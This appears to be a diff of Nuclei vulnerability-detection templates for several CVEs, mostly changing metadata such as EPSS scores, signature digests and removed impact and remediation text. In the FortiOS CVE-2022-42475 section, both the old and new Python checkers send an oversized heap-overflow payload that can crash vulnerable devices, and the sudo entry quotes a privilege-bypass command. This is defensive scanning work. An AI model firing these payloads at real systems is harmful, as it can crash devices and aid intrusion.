    Jenkins versions 2.56 and earlier as well as 2.46.1 LTS and earlier are vulnerable to an unauthenticated remote code execution. An unauthenticated remote code execution vulnerability allowed attackers to transfer a serialized Java `SignedObject` object to the Jenkins CLI, that would be deserialized using a new `ObjectInputStream`, bypassing the existing blacklist-based protection mechanism. We're fixing this issue by adding `SignedObject` to the blacklist. We're also backporting the new HTTP CLI protocol from Jenkins 2.54 to LTS 2.46.2, and deprecating the remoting-based (i.e. Java serialization) CLI protocol, disabling it by default.
-  impact: |
-    Unauthenticated attackers can execute arbitrary code through unsafe deserialization in the Jenkins CLI interface, achieving complete server compromise.
-  remediation: |
-    Upgrade Jenkins to version 2.54 or later, or LTS 2.46.1 or later that fixes the unsafe deserialization vulnerability.
  reference:
    - http://packetstormsecurity.com/files/159266/Jenkins-2.56-CLI-Deserialization-Code-Execution.html
    - https://www.exploit-db.com/exploits/41965/
@@ -19,8 +15,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2017-1000353
    cwe-id: CWE-502
-    epss-score: 0.99679
-    epss-percentile: 0.9995
+    epss-score: 0.94475
+    epss-percentile: 0.99998
    cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*
  metadata:
    vendor: jenkins
@@ -108,4 +104,4 @@ code:
        dsl:
          - 'contains(interactsh_protocol, "dns")'
        condition: and
-# digest: 4b0a004830460221008aaa7cba2ca686704c4997a1a9c993d0674402c5aa6764e625a609addca75c65022100d977d5667c8f62a03872b8ef6b72cc2e8313944a0e2a1f18262c2cc2b6fd8e14:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e1496aea12dd7d8360ca428f1b5f8aaac521642504593625cfdd6fdd50554b6302200cc16c1df502a88f9ce58860fc3a8b491e6c9a4ff33b180a61d215280b97e9b9:922c64590222798bb761d5b6d8e72950
@@ -6,8 +6,6 @@ info:
  severity: critical
  description: |
    Microsoft SharePoint contains a remote code execution caused by failure to check the source markup of an application package, letting remote attackers execute arbitrary code, exploit requires sending malicious application package.
-  impact: |
-    Remote attackers can execute arbitrary code on the server, potentially leading to full system compromise.
  remediation: |
    Fixed in security update published Feb 12, 2019
  reference:
@@ -19,8 +17,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2019-0604
    cwe-id: CWE-20
-    epss-score: 0.99825
-    epss-percentile: 0.99958
+    epss-score: 0.94414
+    epss-percentile: 0.99975
  metadata:
    verified: true
    vendor: microsoft
@@ -156,4 +154,4 @@ code:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(interactsh_request, hex_encode(marker))'
        condition: and
-# digest: 4a0a0047304502201171fefce742ea6ea89c6d762dc43316be1e1a36eedac19e15e1bf4b5e0718e0022100aa686a9a7427c44d418b500d69ee5f162035a429356feaa5f0b5608c0b531822:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e24420fdcf4de91d370c7aad1109a0b9e12c7a0a5a45977bdf9b1deab4edd5bb022100be4cf9432583500208d8282bda0b5913b0a99f46d01a4dcf9bd8cf0cb766a523:922c64590222798bb761d5b6d8e72950
@@ -6,10 +6,6 @@ info:
  severity: high
  description: |
    In Sudo before 1.8.28, an attacker with access to a Runas ALL sudoer account can bypass certain policy blacklists and session PAM modules, and can cause incorrect logging, by invoking sudo with a crafted user ID. For example, this allows bypass of !root configuration, and USER= logging, for a "sudo -u \#$((0xffffffff))" command.
-  remediation: |
-    Upgrade Sudo to version 1.8.28 or later that properly handles crafted user ID values.
-  impact: |
-    Attackers can bypass privilege restrictions, potentially leading to unauthorized privilege escalation and incorrect logging.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14287
    - https://www.exploit-db.com/exploits/47502
@@ -21,8 +17,8 @@ info:
    cvss-score: 8.8
    cve-id: CVE-2019-14287
    cwe-id: CWE-755
-    epss-score: 0.63764
-    epss-percentile: 0.9915
+    epss-score: 0.86126
+    epss-percentile: 0.99353
    cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -51,4 +47,4 @@ code:
          - '!contains(code_1_response, "root")'
          - 'contains(code_2_response, "root")'
        condition: and
-# digest: 4b0a00483046022100f7fb2191bc22f7835e2ad3060067194107fb9fdd92b098b4479e5cfbcf85d2ae0221008e296d4149f3c3dcaff21e3b505a7bfc98bc8c59aa4c02c8c827d6bb3d26150a:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210085b92685b1bfd0414acb52977757bd76db71254cccdeb2fcae945c82eaf44ece02210087377f6d6c7dd561271722a2aff63533e21217b470225075ffb2e23a5087b95a:922c64590222798bb761d5b6d8e72950
@@ -6,10 +6,6 @@ info:
  severity: critical
  description: |
    A remote code execution vulnerability exists when the Microsoft .NET Framework fails to validate input properly, aka '.NET Framework Remote Code Execution Injection Vulnerability'.
-  remediation: |
-    Apply Microsoft security patches as described in the February 2020 SharePoint security update.
-  impact: |
-    Attackers can execute arbitrary code remotely, potentially leading to full system compromise.
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2020-0646
    - https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2020-0646
@@ -19,8 +15,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2020-0646
    cwe-id: CWE-91
-    epss-score: 0.99222
-    epss-percentile: 0.99931
+    epss-score: 0.93865
+    epss-percentile: 0.99858
    cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
  metadata:
    verified: true
@@ -106,4 +102,4 @@ code:
          - 'contains(content_type, "text/xml")'
          - 'status_code == 200'
        condition: and
-# digest: 4a0a00473045022100cf2dfc153a34f4110bafc3c5d944c7198590e64b9ec8faeaecfddc83bb9549a302204231fe2a3f337117091bada19f86603b9ee90b212a8ae5d59e80df451a792ba9:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204d77b29d042f79c530ecf6ccde43ddc5e50c3dd33fe80a2fd99dd1e903cdb139022014c72663cbad42f4b76119650e3a2e8043cd3e9e7808beb1fafc7504d41bb47a:922c64590222798bb761d5b6d8e72950
@@ -6,16 +6,12 @@ info:
  severity: high
  description: |
    Apache Tomcat versions 10.0.0-M1 to 10.0.0-M6, 9.0.0.M1 to 9.0.36, 8.5.0 to 8.5.56, and 7.0.27 to 7.0.104 contain a vulnerability in the WebSocket module where the payload length of WebSocket frames is not correctly validated. This can lead to an infinite loop when processing frames with invalid payload lengths. Attackers can exploit this flaw by sending multiple malicious requests, resulting in a denial of service (DoS) on the affected Tomcat instance.
-  remediation: |
-    Upgrade Apache Tomcat to version 10.0.0-M7, 9.0.37, 8.5.57, or 7.0.105 or later that properly validates WebSocket frame payload lengths.
-  impact: |
-    Attackers can cause a denial of service by sending malicious WebSocket frames, leading to application unavailability.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2020-13935
-    epss-score: 0.86608
-    epss-percentile: 0.99723
+    epss-score: 0.92155
+    epss-percentile: 0.99693
  reference:
    - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html
    - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00088.html
@@ -6,10 +6,6 @@ info:
  severity: high
  description: |
    Sudo before 1.9.5p2 contains an off-by-one error that can result in a heap-based buffer overflow, which allows privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character.
-  remediation: |
-    Upgrade Sudo to version 1.9.5p2 or later that fixes the heap-based buffer overflow vulnerability.
-  impact: |
-    Attackers can escalate privileges to root, potentially leading to full system compromise.
  reference:
    - https://medium.com/mii-cybersec/privilege-escalation-cve-2021-3156-new-sudo-vulnerability-4f9e84a9f435
    - https://blog.qualys.com/vulnerabilities-threat-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
@@ -21,8 +17,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2021-3156
    cwe-id: CWE-193
-    epss-score: 0.99295
-    epss-percentile: 0.99936
+    epss-score: 0.92235
+    epss-percentile: 0.99698
    cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -44,4 +40,4 @@ code:
          - "malloc(): memory corruption"
          - "Aborted (core dumped)"
        condition: and
-# digest: 4a0a004730450220156b157ca7bceae4a3a2b5c20a4b00ff80ce48367a9a9cfd7fda03d0874abde20221008826de1ee97c74e042179093fcdefd962c4b42946ea442dd74f8febc372c5356:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100dc7c00ab176125258a61cb73cbae4a476ac3ed30e413a84da417d2ad940ba1a002205cc8a03b781e29c9c66b73f9259fa9bf87970e52b84ef2d5551672d9afba95b0:922c64590222798bb761d5b6d8e72950
@@ -6,8 +6,6 @@ info:
  severity: critical
  description: |
    A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN (versions 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier) and FortiProxy SSL-VPN (versions 7.2.0 through 7.2.1, 7.0.7 and earlier) may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.
-  impact: |
-    Remote attackers can execute arbitrary code or commands, potentially leading to full system compromise.
  remediation: |
    Fixed in:
    FortiOS >= 7.2.3, 7.0.9, 6.4.11, 6.2.12, 6.0.16
@@ -24,8 +22,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2022-42475
    cwe-id: CWE-197,CWE-787
-    epss-score: 0.99474
-    epss-percentile: 0.99941
+    epss-score: 0.9394
+    epss-percentile: 0.99871
    cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -38,8 +36,7 @@ info:
    fofa-query:
      - body="/remote/login" "xxxxxxxx"
      - icon_hash="945408572"
-  tags: cve,cve2022,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev,vkev,vuln
-
+  tags: cve,cve2024,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev,vkev,vuln
 flow: http () && code()

 http:
@@ -65,226 +62,139 @@ code:

    source: |
        import sys, os, time, socket, ssl
-
        PADDING        = 0x4141414141414141
        PADDING_LEN    = 1024*12
        CONTENT_LENGTH = b"4294967297"

-        # Configuration for false positive prevention
-        POST_EXPLOIT_WAIT = 2       # Seconds to wait before post-exploit check
-        POST_EXPLOIT_RETRIES = 3    # Number of retries for post-exploit connectivity
-        CONNECTIVITY_TIMEOUT = 5    # Timeout for connectivity checks
-
        class SSLVPNExploit:
          def __init__(self, host, port):
            self.host = host
            self.port = port
-            self.useSSL = os.getenv("Scheme") == "https"
-
-          def create_socket(self, timeout=2.0):
-            """Create a new socket connection"""
-            try:
-              sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-              sock.settimeout(timeout)
-              if self.useSSL:
-                ctx = ssl._create_unverified_context()
-                sock = ctx.wrap_socket(sock)
-              sock.connect((self.host, self.port))
-              return sock
-            except Exception as e:
-              return None
-
-          def check_connectivity(self, timeout=CONNECTIVITY_TIMEOUT):
-            """
-            Check if target is responsive with a simple GET request.
-            Returns: (success: bool, response_time: float)
-            """
-            try:
-              start_time = time.time()
-              sock = self.create_socket(timeout)
-              if sock is None:
-                return False, 0
-
-              get_req = b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode()
-              get_req += b"\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\n\r\n"
-
-              sock.sendall(get_req)
-              sock.settimeout(timeout)
-              response = sock.recv(4096)
-              elapsed = time.time() - start_time
-              sock.close()
-
-              return len(response) > 0, elapsed
-            except Exception as e:
-              return False, time.time() - start_time
-
-          def check_by_get(self):
-            """Pre-flight connectivity check"""
-            print("[>] Pre-flight connectivity check...")
-            success, elapsed = self.check_connectivity()
-            if success:
-              print(f"[+] Target is responsive (response time: {elapsed:.2f}s)")
-              return True
+          def connect(self):
+            tries = 1
+            if os.getenv("Scheme") == "https":
+              useSSL = True
+              print("[+] Using SSL/TLS")
            else:
-              print("[!] Target is not responsive - cannot test")
-              return None
+              useSSL = False
+              print("[+] Unencrypted connection")
+            while tries <= 6:
+              try:
+                print("[+] Connecting to %s [ attempt %d of 6 ]                                \r" % (self.host, tries), end='\n')
+                self.cleartext_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+                if useSSL == True:
+                  ctx = ssl._create_unverified_context()
+                  self.socket = ctx.wrap_socket(self.cleartext_socket)
+                else:
+                  self.socket = self.cleartext_socket
+                self.socket.settimeout(2.0)
+                self.socket.connect((self.host, self.port))

-          def send_exploit_payload(self):
-            """
-            Send the exploit payload and analyze the response.
-            Returns: (result_type: str, elapsed_time: float, details: str)
-            Result types: 'PATCHED', 'TIMEOUT', 'EMPTY_RESPONSE', 'CONNECTION_DROP', 'ERROR'
-            """
-            req = bytearray(b"")
-            req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode()
-            req += b"\r\nContent-Length: " + CONTENT_LENGTH
-            req += b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
-            req += b"AAAAAAAA" * PADDING_LEN
+                return self.socket
+              except socket.timeout as e:
+                tries += 1
+                print("Connection timeout!")
+                continue
+              except Exception as e:
+                print("Unknown error!")
+                print(e)
+                return None
+            return None
+          def check_by_get(self):
+            get_req = bytearray(b"")
+            get_req += b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"

+            print("[>] Sending GET first")
+            if self.connect() == None:
+              print("[!] Error connecting to target")
+              exit(1)
            try:
-              sock = self.create_socket(timeout=10)
-              if sock is None:
-                return 'ERROR', 0, 'Could not connect'
+              self.socket.sendall(get_req)

-              start_time = time.time()
-              sock.sendall(req)
-              sock.settimeout(10)
-              buf = sock.recv(1048576)
-              elapsed = time.time() - start_time
-              sock.close()
+              self.socket.settimeout(10)
+              get_buf = self.socket.recv(1048576)

-              if len(buf) == 0:
-                return 'EMPTY_RESPONSE', elapsed, 'Empty response received'
+              if len(get_buf) == 0:
+                print("Error while sending GET. Protocol mismatch?")
+                return None
+              self.socket.close()
+              return True
+            except socket.timeout as e:
+              print("[>] Target waited for more data.")
+              return False

-              if b"413" in buf or b"Request Entity Too Large" in buf:
-                return 'PATCHED', elapsed, 'Target returned 413 - patched'
-
-              return 'UNEXPECTED', elapsed, buf.decode("utf-8", errors="replace")[:200]
-
-            except socket.timeout:
-              return 'TIMEOUT', time.time() - start_time, 'Socket timeout'
            except Exception as e:
-              return 'CONNECTION_DROP', time.time() - start_time, str(e)
-
-          def post_exploit_connectivity_check(self):
-            """
-            Check if target is still responsive after exploit attempt.
-            This is the KEY differentiator between:
-            - Firewall/WAF drop (device still responsive)
-            - Actual crash (device unresponsive)
-
-            Returns: (responsive: bool, details: str)
-            """
-            print(f"[>] Waiting {POST_EXPLOIT_WAIT}s before post-exploit check...")
-            time.sleep(POST_EXPLOIT_WAIT)
-
-            for attempt in range(1, POST_EXPLOIT_RETRIES + 1):
-              print(f"[>] Post-exploit connectivity check (attempt {attempt}/{POST_EXPLOIT_RETRIES})...")
-              success, elapsed = self.check_connectivity(timeout=CONNECTIVITY_TIMEOUT)
-              if success:
-                return True, f"Device responsive after {elapsed:.2f}s"
-              time.sleep(1)
-
-            return False, "Device unresponsive after multiple attempts"
+              print("[>] Target dropped the connection during test GET, which indicates a communication error!")
+              print(e)
+              return None

          def is_vulnerable(self):
-            """
-            Improved vulnerability detection with false positive prevention.
+            req = bytearray(b"")
+            req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nContent-Length: " + CONTENT_LENGTH + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
+            req += b"AAAAAAAA"*(PADDING_LEN)

-            Detection logic:
-            1. If target returns 413 -> PATCHED (not vulnerable)
-            2. If target times out waiting for data -> NOT VULNERABLE
-            3. If connection drops/empty response:
-               a. Check if device is still responsive
-               b. If responsive -> FALSE POSITIVE (firewall/WAF dropped connection)
-               c. If unresponsive -> LIKELY VULNERABLE (device crashed)
-            """
-            print("[>] Sending exploit payload...")
-            result, elapsed, details = self.send_exploit_payload()
+            print("[>] Testing to see if target is vulnerable (may take 10 seconds)")
+            if self.connect() == None:
+              print("[!] Error connecting to target")
+              exit(1)

-            print(f"[>] Exploit result: {result} (elapsed: {elapsed:.2f}s)")
-            print(f"[>] Details: {details[:100]}...")
+            try:
+              # Send the payload. Vuln instances will crash, severing the connection and
+              # causing an exception to be thrown here.
+              self.socket.sendall(req)

-            # Case 1: Target is patched (413 response)
-            if result == 'PATCHED':
-              print("[+] Target is PATCHED - returned 413 Request Entity Too Large")
-              return False
+              # If this read succeeds then the target is probably not vulnerable.
+              # If it times out, then it's also probably not vulnerable.
+              self.socket.settimeout(10)
+              buf = self.socket.recv(1048576)

-            # Case 2: Target waited for more data (timeout)
-            if result == 'TIMEOUT':
-              print("[+] Target waited for more data - NOT VULNERABLE")
-              return False
+              # If the remote end disconnects without an HTTP response then it's vulnerable.
+              if len(buf) == 0:
+                  return True

-            # Case 3: Connection drop or empty response - NEEDS VERIFICATION
-            if result in ('EMPTY_RESPONSE', 'CONNECTION_DROP'):
-              print("[!] Connection dropped or empty response - verifying if this is a false positive...")
+              # Check to see if it has the vendor patch applied
+              if buf.decode("utf-8", errors="replace").__contains__("HTTP/1.1 413 Request Entity Too Large"):
+                  print("[>] Target is patched.")
+                  return False # 100% confidence that it's not vulnerable.

-              # KEY FIX: Check if device is still responsive
-              responsive, check_details = self.post_exploit_connectivity_check()
-
-              if responsive:
-                # Device is still responsive = Firewall/WAF dropped the connection
-                print(f"[!] FALSE POSITIVE DETECTED: {check_details}")
-                print("[!] Device is still responsive after exploit attempt")
-                print("[!] This indicates firewall/IPS/WAF intervention, NOT a crash")
-                return False  # NOT VULNERABLE - false positive
-              else:
-                # Device is unresponsive = Possible crash
-                print(f"[+] Device appears to have crashed: {check_details}")
-                print("[+] Target may be VULNERABLE (device unresponsive after exploit)")
-                return True  # LIKELY VULNERABLE
-
-            # Case 4: Unexpected response
-            if result == 'UNEXPECTED':
-              print(f"[?] Unexpected response received - manual review needed")
-              print(f"[?] Response: {details}")
+              # Ok, something weird and unexpected happened.
+              print("[>] An unexpected response (%d bytes) was recieved:" % len(buf))
+              print("----- BEGIN RESPONSE -----")
+              print(buf.decode("utf-8", errors="replace").replace("\\r\\n", "\n"))
+              print("----- END RESPONSE -----")
+              self.socket.close()
              return None

-            # Case 5: Error
-            print(f"[!] Error during exploit: {details}")
-            return None
+            except socket.timeout as e:
+              print("[>] Target waited for more data. Not vulnerable.")
+              return False
+            except Exception as e:
+              print("[>] Target dropped the connection, which indicates a vulnerable device!")
+              print(e)
+              return True

        if __name__ == '__main__':
-          host = os.getenv("Host")
-          port = int(os.getenv("Port"))
-
-          print("=" * 60)
-          print("CVE-2022-42475 - Fortinet SSL-VPN Heap Overflow Check")
-          print("(With False Positive Prevention)")
-          print("=" * 60)
-          print(f"[*] Target: {host}:{port}")
-          print(f"[*] SSL/TLS: {os.getenv('Scheme') == 'https'}")
-
+          host=os.getenv("Host")
+          port=int(os.getenv("Port"))
          exploit = SSLVPNExploit(host, port)
-
-          # Step 1: Pre-flight connectivity check
          check = exploit.check_by_get()
-          if check != True:
-            print("[!] Pre-flight check failed - target unreachable")
-            exit(1)

-          # Step 2: Vulnerability check with false positive prevention
-          result = exploit.is_vulnerable()
+          if check == True:
+            result = exploit.is_vulnerable()
+            if result == None:
+              print("[!] An error occurred testing for the vulnerability.\n[!] Is this even a FortiGate SSL-VPN?")
+              exit(2)

-          if result == None:
-            print("[!] An error occurred testing for the vulnerability.")
-            print("[!] Is this even a FortiGate SSL-VPN?")
-            exit(2)
+            if result == True:
+              print("[+] Target appears to be VULNERABLE")
+              exit(0)

-          if result == True:
-            print("=" * 60)
-            print("[+] Target appears to be VULNERABLE")
-            print("[+] Device became unresponsive after exploit payload")
-            print("=" * 60)
-            exit(0)
-          else:
-            print("=" * 60)
-            print("[+] Target is NOT vulnerable")
-            print("=" * 60)
-            exit(1)
+            else:
+              print("[+] Target is NOT vulnerable")
+              exit(1)

    matchers:
      - type: word
        words:
          - "Target appears to be VULNERABLE"
-# digest: 490a00463044022045a55cfc9ae52c4e99fd9879dbf12cec14ffbac9e14180bca516ea5404fd29030220664c221c5fa9eaa6243d80da7a74571d003a85cb392e56744c0698c939a371d4:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d2af2dfdaec0bb3603e11ee21cae5d8d463d064346c4fd33dafd0d54c73937b9022074421a7c25d5e18222da9a0a70b404a14a17cfa85f01a7480285ea8fa9f9a5dc:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-2640
    cwe-id: CWE-863
-    epss-score: 0.16052
-    epss-percentile: 0.96636
+    epss-score: 0.91874
+    epss-percentile: 0.99672
    cpe: cpe:2.3:o:canonical:ubuntu_linux:23.04:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -55,4 +55,4 @@ code:
          - '!contains(code_1_response, "(root)")'
          - 'contains(code_2_response, "(root)")'
        condition: and
-# digest: 4b0a00483046022100b4c7f3dbe46a31f013021ee1f20236ceaa76446529427550f983ca8e524e1131022100ad12dc558dbc8beb971760cbe0c975ecb8fe5f6beed86d8d10dff5dc027324c9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502205661bfabdeec84cdb0d8cd85f400fdde90013e98f28947af2016ba03a7e95e270221008b847b21e9f65244e274e61e784ce5be03d3c313f744589eca2d93de00634b6b:922c64590222798bb761d5b6d8e72950
@@ -6,10 +6,6 @@ info:
  severity: critical
  description: |
    The Abandoned Cart Lite for WooCommerce plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 5.14.2. This is due to insufficient encryption on the user being supplied during the abandoned cart link decode through the plugin. This allows unauthenticated attackers to log in as users who have abandoned the cart, who are typically customers. Further security hardening was introduced in version 5.15.1 that ensures sites are no longer vulnerable through historical check-out links, and additional hardening was introduced in version 5.15.2 that ensured null key values wouldn't permit the authentication bypass.
-  remediation: |
-    Upgrade Abandoned Cart Lite for WooCommerce plugin to version 5.15.2 or later that implements secure authentication and proper encryption.
-  impact: |
-    Attackers can log in as users, potentially accessing sensitive information and performing unauthorized actions.
  reference:
    - https://github.com/Alucard0x1/CVE-2023-2986
    - https://github.com/TycheSoftwares/woocommerce-abandoned-cart/pull/885#issuecomment-1601813615
@@ -20,8 +16,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-2986
-    epss-score: 0.42814
-    epss-percentile: 0.98602
+    epss-score: 0.91769
+    epss-percentile: 0.99663
    cpe: cpe:2.3:a:tychesoftwares:abandoned_cart_lite_for_woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
@@ -630,4 +626,4 @@ http:
      - type: status
        status:
          - 302
-# digest: 4a0a00473045022003d2771702a8129701c248280a5ae33616e834f5d3b743403a1b9544c2643455022100966e683af2a993fe1abc4e541861e27f00a8be341f99cc54250fca3a11a953fb:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502203fd36f070fb1283f5714fcdd0abf3b8f840a3a849d12a42a98aaef8a4a7b92e4022100e43e4a9d7aabf92eac650ef4ccc0165fc0c166a1f68e60690329b93738a4ba32:922c64590222798bb761d5b6d8e72950
@@ -6,10 +6,6 @@ info:
  severity: critical
  description: |
    An issue was discovered in ownCloud owncloud/core before 10.13.1. An attacker can access, modify, or delete any file without authentication if the username of a victim is known, and the victim has no signing-key configured. This occurs because pre-signed URLs can be accepted even when no signing-key is configured for the owner of the files. The earliest affected version is 10.6.0.
-  remediation: |
-    Upgrade OwnCloud to version 10.13.1 or later that properly validates signing keys and authentication in the WebDAV API.
-  impact: |
-    Attackers can access, modify, or delete any files without authentication, leading to data breach and integrity issues.
  reference:
    - https://owncloud.com/security-advisories/webdav-api-authentication-bypass-using-pre-signed-urls/
    - https://github.com/0xfed/ownedcloud
@@ -21,8 +17,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2023-49105
    cwe-id: CWE-287
-    epss-score: 0.11074
-    epss-percentile: 0.95542
+    epss-score: 0.86244
+    epss-percentile: 0.99356
    cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
@@ -94,4 +90,4 @@ http:
      - type: dsl
        dsl:
          - '"Username => "+ username'
-# digest: 490a0046304402200f67e3338df50b7157c820c33e7c82df9b92f525cfe2afb416ba38e23165195a0220617e8791ff8bd1aa83dcf6ad46f1da82735b68ffcc3b63abba4daf96e8d2b55c:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204f476545141ffc0526b4e3c7c6d59d2ac7b6bd6737263b3e5c43382c39b3488e0220343b85850dbe3d9c50b8b098109edcfa85d2743f605d6aadc13d6e49d0f72ad1:922c64590222798bb761d5b6d8e72950
@@ -6,10 +6,6 @@ info:
  severity: high
  description: |
    A buffer overflow was discovered in the GNU C Library's dynamic loader ld.so while processing the GLIBC_TUNABLES environment variable. This issue could allow a local attacker to use maliciously crafted GLIBC_TUNABLES environment variables when launching binaries with SUID permission to execute code with elevated privileges.
-  remediation: |
-    Upgrade GNU C Library (glibc) to a version later than affected releases that fixes the buffer overflow in the dynamic loader's GLIBC_TUNABLES environment variable processing.
-  impact: |
-    Local attackers can execute arbitrary code with elevated privileges, potentially leading to full system compromise.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4911
    - https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt
@@ -21,8 +17,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-4911
    cwe-id: CWE-787,CWE-122
-    epss-score: 0.81422
-    epss-percentile: 0.99607
+    epss-score: 0.69791
+    epss-percentile: 0.98589
    cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -43,4 +39,4 @@ code:
      - type: word
        words:
          - "139"     # Segmentation Fault Exit Code
-# digest: 4a0a004730450220106e5aef5a0e47645221ec0b602d38c1d0799cf5c2b1196b8f158357aac39501022100cd472e08152f976d6322ac85884e53788adb12c3afc5211c3cf23da477f7598d:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220155082bb6a73ee722b38f8b1f4ac2aaeda267a117bfb52938ee665784a056c1502203d4e1504fa39a81de29581207a6bb7106978be9db76534a48024d146a3bfcffe:922c64590222798bb761d5b6d8e72950
@@ -6,10 +6,6 @@ info:
  severity: high
  description: |
    A heap-based buffer overflow was found in the __vsyslog_internal function of the glibc library. This function is called by the syslog and vsyslog functions. This issue occurs when the openlog function was not called, or called with the ident argument set to NULL, and the program name (the basename of argv[0]) is bigger than 1024 bytes, resulting in an application crash or local privilege escalation. This issue affects glibc 2.36 and newer.
-  remediation: |
-    Upgrade glibc to version 2.37 or later that properly handles program name buffer sizes in __vsyslog_internal.
-  impact: |
-    Local attackers can cause application crashes or escalate privileges through buffer overflow exploitation.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6246
    - https://www.qualys.com/2024/01/30/cve-2023-6246/syslog.txt
@@ -21,8 +17,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-6246
    cwe-id: CWE-787,CWE-122
-    epss-score: 0.04794
-    epss-percentile: 0.91181
+    epss-score: 0.31786
+    epss-percentile: 0.96608
    cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -43,4 +39,4 @@ code:
      - type: word
        words:
          - "127"     # Segmentation Fault Exit Code
-# digest: 4a0a00473045022100effbe4ed43027b5b08168c364df9d6c8603211b58f020a950f81d502af54ce1d02200422a8b3a61558d1373f2bc7924f5b60544df3694a15abdb08324d933f2096fa:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100bbfa15e8bdc2aa5d8a417f4883e5780d372254d1125a52d1ab0a1ce0e5c8c0aa022031ec4301016dbe92d6cead98440bd7d15786aa40f1005a386e0f4337fcd3f8a4:922c64590222798bb761d5b6d8e72950
@@ -6,10 +6,6 @@ info:
  severity: critical
  description: |
    Improper neutralization of special elements used in a command ('Command Injection') vulnerability in Task Manager component in Synology BeePhotos before 1.0.2-10026 and 1.1.0-10053 and Synology Photos before 1.6.2-0720 and 1.7.0-0795 allows remote attackers to execute arbitrary code via unspecified vectors.
-  remediation: |
-    Upgrade Synology BeePhotos to version 1.0.2-10026 or 1.1.0-10053 or later, and Synology Photos to version 1.6.2-0720 or 1.7.0-0795 or later.
-  impact: |
-    Remote attackers can execute arbitrary code on the system, potentially leading to full system compromise.
  reference:
    - https://www.synology.com/en-us/security/advisory/Synology_SA_24_18
  classification:
@@ -17,8 +13,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-10443
    cwe-id: CWE-77
-    epss-score: 0.2838
-    epss-percentile: 0.9796
+    epss-score: 0.67268
+    epss-percentile: 0.98481
    cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
  metadata:
    verified: true
@@ -58,4 +54,4 @@ code:
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "dns"
